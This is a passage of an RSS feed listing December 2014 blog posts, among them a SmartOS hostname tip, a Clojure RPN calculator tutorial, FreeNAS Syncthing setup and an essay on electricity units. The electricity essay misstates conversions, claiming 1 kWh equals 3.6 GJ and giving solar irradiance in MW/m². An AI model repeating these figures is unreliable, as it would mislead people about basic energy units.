&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sed -e &lt;span class="s1"&gt;'s/fred/beth/g'&lt;/span&gt; -i /etc/hosts /etc/nodename
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then shutdown &amp;amp; start the zone &lt;em&gt;(from my testing a restart doesn&amp;rsquo;t apply it)&lt;/em&gt;.&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Thu, 18 Dec 2014 12:00:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/changing-hostname-in-smartos-zone/</guid></item><item><title>QRCodes are the easy way to transfer websites to phone</title><link>https://ericonotes.blogspot.com/2013/08/fast-way-to-transfer-websites-to-phone.html</link><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjum8BaQx_hOv9cUMCQc_z73uR3JJMKurQ4lhXar9xAACGv_fbAy-JqRzd-sR3QanQn8QKi2k6e7nhqAJupfyvONbTSVNcN-pWLggxMrNpSfhHzArIZKS_vzxjItuh1cuS08Dki0_yHLiEY/s1600/20130816_153424.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjum8BaQx_hOv9cUMCQc_z73uR3JJMKurQ4lhXar9xAACGv_fbAy-JqRzd-sR3QanQn8QKi2k6e7nhqAJupfyvONbTSVNcN-pWLggxMrNpSfhHzArIZKS_vzxjItuh1cuS08Dki0_yHLiEY/s400/20130816_153424.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div dir="ltr"&gt;
&lt;br /&gt;
At least if you are not in your computer.&lt;/div&gt;
&lt;div dir="ltr"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir="ltr"&gt;
If I want to pass a web site from computer to WhatsApp or other text to my phone world, I use this website to generate a Qrcode for it: http://qrcode.kaywa.com/&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir="ltr"&gt;
If the website is to big use a URL shortener to make the Qrcode more readable through your cellphone camera.&lt;br /&gt;
&lt;br /&gt;
Update:&lt;br /&gt;
&lt;br /&gt;
Just found out today that there is a way to make it better...&lt;br /&gt;
&lt;br /&gt;
https://chart.googleapis.com/chart?chs=400x400&amp;amp;cht=qr&amp;amp;source=qrcode&amp;amp;chl=https://www.ericonotes.blogspot.com&lt;br /&gt;
&lt;br /&gt;
modify the end of the url on top, and you can exchange it for any website.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="QR code for Ericonotes on Blogger" height="150" src="https://chart.googleapis.com/chart?chs=150x150&amp;amp;cht=qr&amp;amp;source=qrcode&amp;amp;chl=https://www.ericonotes.blogspot.com" title="Ericonotes QR CODE" width="150" /&gt;
&amp;nbsp;&lt;/div&gt;</description><author>Erico Notes</author><pubDate>Thu, 18 Dec 2014 06:48:32 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2013/08/fast-way-to-transfer-websites-to-phone.html</guid></item><item><title>Design Patterns</title><link>https://june.kim/design-patterns/</link><author>june.kim</author><pubDate>Thu, 18 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/design-patterns/</guid></item><item><title>Bumpy</title><link>https://mattkeeter.com/projects/bumpy</link><description>Homemade mp3 player</description><author>Matt Keeter</author><pubDate>Wed, 17 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/bumpy</guid></item><item><title>ultimately minimal unit testing</title><link>https://zserge.com/posts/minimal-testing/</link><description>Most large software projects include automated testing and the reasons are obvious. But what about smaller, even toy projects? There should be some extremely lightweight unit-testing frameworks/libraries that would easily fit even the smallest project needs.
Unit testing should be easy to start. Otherwise people won&amp;rsquo;t bother with writing tests at all (unless they are forced to). People don&amp;rsquo;t like learning complex frameworks to run just a dozen of tests.</description><author>zserge's blog</author><pubDate>Tue, 16 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/minimal-testing/</guid></item><item><title>Augmenting Automation on iOS With the Power of Python and Workflow</title><link>https://xavd.id/blog/post/augmenting-automation-on-ios/</link><description>undefined&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/augmenting-automation-on-ios/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Tue, 16 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/augmenting-automation-on-ios/</guid></item><item><title>SOCKS Proxy Over SSH: If you have access to SSH, then you have access to run your own proxy server</title><link>https://joshuarogers.net/articles/2014-12/socks-proxy-over-ssh/</link><description>Back in May we looked at how to setup Access Controls with NGinx. I didn't mention how I test it though. In order to test the different rules, the requests needed to originate from different IP ranges, which in turn meant that I would need to send the requests from different networks. As I find the idea of fidgeting with cables or hotspots to be more than slightly annoying, I opted to tunnel request out of my internal network using a SOCKS proxy.</description><author>Joshua Rogers</author><pubDate>Mon, 15 Dec 2014 14:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-12/socks-proxy-over-ssh/</guid></item><item><title>[12.15.14]  	The Flying Nimbus Updates: Range and Hub Bearings</title><link>https://transistor-man.com/flying_nimbus_updates.html</link><description>Enjoy Nimbus MK1? The following details upgrades to the Nimbus project, to increase its load handling capability, range and night-time visibility.</description><author>transistor-man.com</author><pubDate>Mon, 15 Dec 2014 10:38:38 GMT</pubDate><guid isPermaLink="true">https://transistor-man.com/flying_nimbus_updates.html</guid></item><item><title>RPN Calc Part 9 – State and Commands in Clojure</title><link>https://mschaef.com/ksm/rpncalc_09</link><description>&lt;p&gt;In my &lt;a href="/ksm/rpncalc_08"&gt;last post&lt;/a&gt;, I started porting the RPN calculator example from Java to Clojure, moving a functional program into a functional language. In this post, I finish the work and show how the Clojure calculator models both state and calculator commands.&lt;/p&gt;&lt;p&gt;Going back to the last post, the Clojure version of the Read-Eval-Print-Loop (REPL) has the following code.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-keyword"&gt;defn&lt;/span&gt; &lt;span class="hljs-title"&gt;main&lt;/span&gt; []
  (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;loop&lt;/span&gt;&lt;/span&gt; [ state (&lt;span class="hljs-name"&gt;make-initial-state&lt;/span&gt;) ]
    (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;let&lt;/span&gt;&lt;/span&gt; [command (&lt;span class="hljs-name"&gt;parse-command-string&lt;/span&gt; (&lt;span class="hljs-name"&gt;read-command-string&lt;/span&gt; state))]
      (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;if-let&lt;/span&gt;&lt;/span&gt; [new-state (&lt;span class="hljs-name"&gt;apply-command&lt;/span&gt; state command)]
        (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;recur&lt;/span&gt;&lt;/span&gt; new-state)
        &lt;span class="hljs-literal"&gt;nil&lt;/span&gt;))))
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;As with the Java REPL, this function continually loops, gathering commands to evaluate, evaluating them against the current state, and printing the state after each command is executed. The REPL function controls the lifecycle of the calculator state from beginning to end, starting by invoking the state constructor function:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-keyword"&gt;defn&lt;/span&gt; &lt;span class="hljs-title"&gt;make-initial-state&lt;/span&gt; []
  {
   &lt;span class="hljs-symbol"&gt;:stack&lt;/span&gt; ()
   &lt;span class="hljs-symbol"&gt;:regs&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;vec&lt;/span&gt;&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;take&lt;/span&gt;&lt;/span&gt; &lt;span class="hljs-number"&gt;20&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;repeat&lt;/span&gt;&lt;/span&gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;)))
   })
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Like &lt;code&gt;main&lt;/code&gt;, the empty brackets signify that this is a 0-arity function, a function that takes 0 arguments. Looking back at the call site, this is why the name of the function appears by itself within the parenthesis:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-name"&gt;make-initial-state&lt;/span&gt;)
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;If the function required arguments, they’d be to the right of the function name at the call site:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-name"&gt;make-initial-state&lt;/span&gt; &amp;lt;arg-0&amp;gt; ... &amp;lt;arg-n&amp;gt;)
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;This is the way that Lisp like languages represent function and macro call sites. Every function or macro call is syntactically a list delimited by parenthesis. The first element of that list identifies the function or macro being invoked, and the arguments to that function or macro are in the second list position and beyond. This is the rule, and it is essentially universal, even including the syntax used to define functions. In this form, &lt;code&gt;defn&lt;/code&gt; is the name of the function definition macro, and it takes the function name, argument list, and body as arguments:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-keyword"&gt;defn&lt;/span&gt; &lt;span class="hljs-title"&gt;make-initial-state&lt;/span&gt; []
  {
   &lt;span class="hljs-symbol"&gt;:stack&lt;/span&gt; ()
   &lt;span class="hljs-symbol"&gt;:regs&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;vec&lt;/span&gt;&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;take&lt;/span&gt;&lt;/span&gt; &lt;span class="hljs-number"&gt;20&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;repeat&lt;/span&gt;&lt;/span&gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;)))
   })
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;For this function, the body of the function is a single statement, a literal for a two element hash map. In Clojure, whenever run time control flow passes to an object literal, a new instance of that literal is constructed and populated.&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;{
 &lt;span class="hljs-symbol"&gt;:stack&lt;/span&gt; ()
 &lt;span class="hljs-symbol"&gt;:regs&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;vec&lt;/span&gt;&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;take&lt;/span&gt;&lt;/span&gt; &lt;span class="hljs-number"&gt;20&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;repeat&lt;/span&gt;&lt;/span&gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;)))
 }
 &lt;/pre&gt;&lt;/code&gt;&lt;/div&gt; &lt;p&gt;This one statement is thus the rough equivalent of calling a constructor and then a series of calls to populate the new object. Paraphrasing into faux-Java:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;&lt;span class="hljs-type"&gt;Mapping&lt;/span&gt; &lt;span class="hljs-variable"&gt;m&lt;/span&gt; &lt;span class="hljs-operator"&gt;=&lt;/span&gt; &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Mapping&lt;/span&gt;();
 
m.put(&lt;span class="hljs-string"&gt;&amp;quot;stack&amp;quot;&lt;/span&gt;, Sequence.EMPTY);
m.put(&lt;span class="hljs-string"&gt;&amp;quot;regs&amp;quot;&lt;/span&gt;, vec(take(&lt;span class="hljs-number"&gt;20&lt;/span&gt;, repeat(&lt;span class="hljs-number"&gt;0&lt;/span&gt;)));
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Once the state object is constructed, the first thing the REPL has to do is prompt the user for a command. The function to read a new command takes a state as an argument. This is so it can print out the state prior to prompting the user and reading the command string:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-keyword"&gt;defn&lt;/span&gt; &lt;span class="hljs-title"&gt;read-command-string&lt;/span&gt; [ state ]
  (&lt;span class="hljs-name"&gt;show-state&lt;/span&gt; state)
  (&lt;span class="hljs-name"&gt;print&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;quot;&amp;gt; &amp;quot;&lt;/span&gt;)
  (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;flush&lt;/span&gt;&lt;/span&gt;)
  (&lt;span class="hljs-name"&gt;.readLine&lt;/span&gt; *in*))
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;This code should be fairly understandable, but the last line is worthy of an explicit comment. &lt;code&gt;&amp;#42;in&amp;#42;&lt;/code&gt; is a reference to the usual &lt;code&gt;java.lang.System.in&lt;/code&gt;, and the leading dot is Clojure syntax for invoking a method on that object. That last line is almost exactly equivalent to this Java code:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;System.in.readLine();
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;There’s more use of Clojure/Java interoperability in the command parser:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-keyword"&gt;defn&lt;/span&gt; &lt;span class="hljs-title"&gt;parse-command-string&lt;/span&gt; [ str ]
  (&lt;span class="hljs-name"&gt;make-composite-command&lt;/span&gt;
   (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;map&lt;/span&gt;&lt;/span&gt; parse-single-command (&lt;span class="hljs-name"&gt;.split&lt;/span&gt; (&lt;span class="hljs-name"&gt;.trim&lt;/span&gt; str) &lt;span class="hljs-string"&gt;&amp;quot;\\s+&amp;quot;&lt;/span&gt;))))
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;The Java-interop part is in this bit here:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-name"&gt;.split&lt;/span&gt; (&lt;span class="hljs-name"&gt;.trim&lt;/span&gt; str) &lt;span class="hljs-string"&gt;&amp;quot;\\s+&amp;quot;&lt;/span&gt;)
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Translating into Java:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;str.trim().split(&lt;span class="hljs-string"&gt;&amp;quot;\\s+&amp;quot;&lt;/span&gt;)
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Because &lt;code&gt;str&lt;/code&gt; is a &lt;code&gt;java.lang.String&lt;/code&gt;, all the usual string methods are available. This makes it easy to use standard Java facilities to trim the leading and trailing white space from a string and then split it into space-delimited tokens. Going back to part 2 of this series, this is the original algorithm I used to handle multiple calculator commands entered at the same prompt.&lt;/p&gt;&lt;p&gt;The rest of &lt;code&gt;parse-command-string&lt;/code&gt; also follows the original part-2 design: each token is parsed individually as a command, and the list of all commands is then assembled into a single composite command. The difference is that there’s less notation in the Clojure version, mainly due to the use of the higher-order function &lt;code&gt;map&lt;/code&gt;. &lt;code&gt;map&lt;/code&gt; applies a function to each element of an input sequence and returns a new sequence containing the results. This one function encapsulates a loop, two variable declarations, a constructor call, and the method call needed to populate the output sequence:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="java"&gt;&lt;pre&gt;List&amp;lt;Command&amp;gt; subCmds = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;LinkedList&lt;/span&gt;&amp;lt;Command&amp;gt;();
  
&lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (String subCmdStr : cmdStr.split(&lt;span class="hljs-string"&gt;&amp;quot;\\s+&amp;quot;&lt;/span&gt;))
    subCmds.add(parseSingleCommand(subCmdStr));
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;What’s nice about this is that eliminating the code eliminates the possibility of making certain kinds of errors. It also makes the code more about the intent of the logic, and less about the mechanism used to achieve that intent. This opens up optimization opportunities like Clojure’s lazy evaluation of mapping functions.&lt;/p&gt;&lt;p&gt;The final bit of new notation I’d like to point out is the way the Clojure version represents commands. Commands in the Clojure version of the calculator are functions on calculator state, represented as Clojure functions:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;fn&lt;/span&gt;&lt;/span&gt; [ { [x y &amp;amp; more] &lt;span class="hljs-symbol"&gt;:stack&lt;/span&gt; } ]
    { &lt;span class="hljs-symbol"&gt;:stack&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;cons&lt;/span&gt;&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;+&lt;/span&gt;&lt;/span&gt; y x) more)})
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;This function, the addition command, accepts a state object and uses argument list destructuring to extract out the stack portion of the state. It then assembles a new state object that contains a version of the stack that contains the sum of the top two previous stack elements. Rather than focusing on the machinery used to gather and manipulate stack arguments, Clojure’s notation makes it easier for the code behind the command to match the intent. As before, this helps reduce the chance for errors, and it also opens up new optimization opportunities.&lt;/p&gt;&lt;p&gt;(If you’ve read closely and are wondering what happened to &lt;code&gt;regs&lt;/code&gt;, commands in the Clojure version of the calculator can actually return a partial state. If a command doesn’t return a state element, then the previous value for that state element is used in the next state. Because add doesn’t change &lt;code&gt;regs&lt;/code&gt;, it doesn’t bother to return it.)&lt;/p&gt;</description><author>Mike Schaeffer</author><pubDate>Mon, 15 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mschaef.com/ksm/rpncalc_09</guid></item><item><title>Installing and configuring the Freenas Syncthing-plugin</title><link>https://www.zufallsheld.de/2014/12/14/installing-and-configuring-the-freenas-syncthing-plugin/</link><description>&lt;p&gt;Here&amp;#8217;s a little how-to on how to use the new syncthing-plugin for your Freenas-server.
&lt;a href="https://discourse.syncthing.net/"&gt;Syncthing&lt;/a&gt; is an opensource file synchronisation client/server application. It&amp;#8217;s a great alternative to btsync or&amp;nbsp;Dropbox.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The following text contains passages from my other guide on how to setup &lt;a href="https://www.zufallsheld.de/2013/11/22/freenas-transmission-couchpotato-sickbeard-dlna-server/"&gt;Freenas 9.2 …&lt;/a&gt;&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Sun, 14 Dec 2014 19:56:30 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2014/12/14/installing-and-configuring-the-freenas-syncthing-plugin/</guid></item><item><title>8 Mile</title><link>https://olshansky.info/movie/8_mile/</link><description>Olshansky's review of 8 Mile</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 14 Dec 2014 19:35:41 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/8_mile/</guid></item><item><title>The Paradox of the Bottle</title><link>https://june.kim/paradox-of-bottle/</link><author>june.kim</author><pubDate>Sun, 14 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/paradox-of-bottle/</guid></item><item><title>Simple 2</title><link>https://tomforb.es/blog/simple-2/</link><description>I’ve just about finished the next version of Simple , the markdown based blog that powers this site. When I first made Simple it was because I disliked WordPress, which seemed a bit too bloated. Then I saw Svbtle and I really liked the minimalist design (mostly the posting interface ) and decided to...</description><author>Tom Forbes</author><pubDate>Sat, 13 Dec 2014 22:56:51 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/simple-2/</guid></item><item><title>Airspy on Linux</title><link>https://blog.nobugware.com/post/2014/12/13/airspy-on-linux/</link><description>Airspy is an SDR with amazing specs, but drivers are slowly coming to your prefered os.
This apply to Arch but should apply to any recent Linux.
I&amp;rsquo;ve first compiled libairspy but always had the error AIRSPY_ERROR_NOT_FOUND and &amp;quot;usbfs: interface 0 claimed by airspy while 'airspy_info' sets config #1&amp;quot;
Since Linux 3.17 comes with an airspy v4l autoloaded driver making impossible to use it with libusb: no airspy_info and no gqrx.</description><author>Fabrice Aneche</author><pubDate>Sat, 13 Dec 2014 13:55:48 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2014/12/13/airspy-on-linux/</guid></item><item><title>Wreck-It Ralph</title><link>https://olshansky.info/movie/wreck-it_ralph/</link><description>Olshansky's review of Wreck-It Ralph</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 13 Dec 2014 08:50:28 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/wreck-it_ralph/</guid></item><item><title>2014-12-13</title><link>https://ho.dges.online/pictures/2014-12-13/</link><description/><author>ho.dges.online</author><pubDate>Sat, 13 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-12-13/</guid></item><item><title>Screenshot Saturday 202</title><link>https://etodd.io/2014/12/12/screenshot-saturday-202/</link><description>&lt;p&gt;I've come to several realizations this week.&lt;/p&gt;
&lt;ol&gt;
	&lt;li&gt;Lemma is going to be good, but not great. I have to accept my limitations and finish the thing to the best of my ability.&lt;/li&gt;
	&lt;li&gt;Lemma is more of an experience than a traditional video game.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;With these two ideas in mind, I am focusing the next few months on making Lemma the least frustrating, most enjoyable experience I can.&lt;/p&gt;
&lt;p&gt;So I'm trying to come up with puzzles that seem difficult but are actually simple to solve. The wonderful &lt;a href="http://monumentvalleygame.com"&gt;Monument Valley&lt;/a&gt; did a great job of this.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 12 Dec 2014 23:00:00 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/12/12/screenshot-saturday-202/</guid></item><item><title>Understanding electricity terminology</title><link>http://negfeedback.blogspot.com/2014/12/understanding-electricity-terminology.html</link><description>With the recent bout of load shedding, everyone's been writing about electricity. The problem is that many people get things wrong, or apply conventions which are less useful than they think.&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;
The basics&lt;/h2&gt;
Electricity is fundamentally about the flow of electrons. You may say that it is also about magnetic fields, but most of the terminology you'll be seeing in the articles about load shedding is about making electrons move. Now, electrons are very small, so it makes sense to count them in big groups rather than individually. In the SI system, the coulomb (C) is defined as exactly 6.241×10&lt;sup&gt;18&lt;/sup&gt; electrons. You can think of this as equivalent to something like a truckload of coal. Since every material we work with has many electrons already, just having them is not particularly useful. Electrons can do useful things when they are in motion. When there is a flow of electrons in a conductor, this is referred to as current and measured in ampere (A). 1 A = 1 C/s, although technically the ampere is the base unit and the coulomb is the derived unit in SI, so 1 C = 1 A⋅s . To continue our analogy, if coulomb is like "truckloads", ampere would be "truckloads per day".&lt;br /&gt;
&lt;br /&gt;
Flowing electrons can be harnessed to do work in the same way that a flowing river can be harnessed. The rate at which they can do work is related not only to how fast they are flowing (the current) but also to the potential difference (measured in volts, V) between the end points. In a river, this would be the pressure. Work is measured in joules (J), which is also the unit of energy. The rate at which work is done (also called the power) is measured in watt (W). 1 W = 1 J/s. For a constant current (DC), the power is the product of the current and the potential difference. This means that 1 W = 1 V⋅A. This is approximately true for power supplied by batteries. For a thoroughly mixed metaphorical space, let's say that energy (J) is like a distance and power (W) is like a speed.&lt;br /&gt;
&lt;br /&gt;
It gets a little more complicated if the current is not constant. The kind of electricity Eskom supplies is sinusoidally varying (AC), which means that we need to distinguish the "apparent power" and the "real power". &lt;a href="http://en.wikipedia.org/wiki/AC_power#Real.2FActive.2C_reactive.2C_and_apparent_power"&gt;This Wikipedia page&lt;/a&gt; is a pretty good resource for this idea. The calculation doesn't change the units in SI, although there are conventions which I will discuss a bit later.&lt;br /&gt;
&lt;br /&gt;
In terms of the load shedding, W is the unit that will be used to talk about the amount of load to be shed. Load in this context is the same as power.&lt;br /&gt;
&lt;h2&gt;
Orders of magnitude&lt;/h2&gt;
Some of the SI units discussed above are not sized reasonably for everyday use. For instance, a 100 W lightbulb burning for one day will consume&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&lt;span style="background-color: white; color: #212121;"&gt;8&amp;nbsp;640&amp;nbsp;000 J of energy. For this reason the SI has &lt;a href="http://en.wikipedia.org/wiki/Metric_prefix#List_of_SI_prefixes"&gt;prefixes&lt;/a&gt; for different orders of magnitude. I can choose to express the energy consumed by that lightbulb as 8.64 MJ to save space. It's anyone's guess why the load shedding limits are reported in &lt;a href="http://loadshedding.eskom.co.za/LoadShedding/ScheduleInterpretation"&gt;MW rather than GW&lt;/a&gt;. Why say 1000 MW when you could have said 1 GW?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;h2&gt;
The problem of time&lt;/h2&gt;
&lt;div&gt;
In the discussion above, I have restricted myself to the SI system. The SI unit of time is the second (s), and all the units which reference time are built using the second. Time calculations are tricky, because of the fact that there are 60 seconds in a minute and 60 minutes in an hour. Those factors aren't powers of 10, so they don't fit smoothly into the decimal system that SI uses. This means that in various industries, the quantities discussed above have been measured using different time units. For instance, your electricity bill probably specifies your electricity usage using the "kWh", which is the energy used by a 1 kW device operating for 1 hour. Notice that this is the same dimensional combination as the joule. 1 kWh = 1 kW⋅h and 1 J = 1 W⋅s. In fact, 1 kWh = 3.6 GJ, so there's no real nead for the kWh, even in terms of easy magnitudes. The real difference boils down to the &lt;a href="http://www.kilosecond.info/"&gt;difficulties&lt;/a&gt; of manipulating factors of 60.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
When measuring the storage capacity of batteries, one will mostly see A⋅h being used rather than the dimensionally-similar C. Smallish batteries like AAs typically have capacity of around 10 kC (meaning that this is the number of electrons they can push around a circuit), but you are more likely to see that reported as 3000 mAh. I believe this is again due to the problems of time calculation, as there shouldn't be much other difference between using A⋅h instead of A⋅s.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The kWh is such a popular unit of energy that it is even used for derived rates. People will report the average energy production of &amp;nbsp;the&amp;nbsp;&lt;a href="http://www.solarreserve.com/what-we-do/pv-development/jasper/"&gt;Jasper solar facility as 180 000 MW-hours annually&lt;/a&gt;&amp;nbsp;rather than saying that it will produce 648 TJ per year or produce at a rate of 20.5 MW on average over a year.&lt;/div&gt;
&lt;h2&gt;
Conventions&lt;/h2&gt;
&lt;div&gt;
There are people reading this who will object viscerally to the calculation above, especially if they have been in the electricity industry. There are certain conventions regarding units which are widespread but don't really make much sense from a dimensional point of view. One of them is that electrical energy is measured primarily in the kWh family of units, while the joule is restricted to other forms of energy. They would say that it is not proper to report the energy production of that solar plant in TJ as that sounds more like the energy supplied by fuel.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Similarly, if you refer to the discussion about power calculations for time-varying current, there are people who insist on saying V⋅A is different from W rather than saying apparent power is different from real power and using W for both.&lt;/div&gt;
&lt;h2&gt;
Peaks and averages&lt;/h2&gt;
&lt;div&gt;
The last confusing thing about talking of energy is in being clear about peaks and averages. To continue the car analogy, it is pretty clear when someone says that they will travel 100 km in 1 hour that they will average 100 km/h but that they probably spent some of the time above that speed and may even have hit 160 km/h at some point. Remembering that the distance is like energy and that speed is like power, we can say that the 774 PJ of energy SA used in 2010 &lt;a href="http://www.wolframalpha.com/input/?i=south+africa+electricity+consumption"&gt;according to Wolfram Alpha&lt;/a&gt; means that we averaged 24.5 GW for that year. Why do we have a problem if Eskom has around &lt;a href="http://www.eskom.co.za/OurCompany/CompanyInformation/Pages/Company_Information_1.aspx"&gt;41 GW of generating capacity&lt;/a&gt;? For one thing, not all that capacity is on line at once. Due to various factors Eskom only has about 24 GW of generating capacity on line right now. Of course, the other problem is that peak demand is more than average demand. The load shedding of 4 November 2014 happened on a day where there was 28 GW of demand, leaving Eskom 4 GW short.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
While I'm on this topic, let's also explain the somewhat confusing fact that the Jasper solar energy plant I linked to earlier reports &lt;span style="background-color: white; font-family: inherit;"&gt;"&lt;span style="line-height: 20px;"&gt;Size: 96 MW-DC installed capacity; 75 MW-AC net generation,&amp;nbsp;&lt;/span&gt;&lt;span style="line-height: 20px;"&gt;Electricity Production: approximately 180,000 MW-hours annually". We translated that last number to 20.5 MW. So what's happening between the 96 MW and the 20 MW? The 96 MW is what the panels will produce when they have 1 MW/m² of solar irradiation. In SA, we have more like 1.2 MW/m&lt;/span&gt;&lt;/span&gt;&lt;span style="background-color: white; line-height: 20px;"&gt;², so they'll see more than that at peak production. This is a bit like the maximum speed in the book that came with your car. Often you can get better than that if you run at the coast or use better fuel than they tested with. The 75 MW is pretty clear, that's the amount of AC power they will deliver under the same conditions as the 96 MW was calculated. This includes the use of the station of its own power and conversion losses. Of course, the sun is only available part of the day, and the light is not as strong for the whole day either. There is also maintenance and other stoppages, which cuts the effective rate of production down to the 20 MW number. This final number divided by the 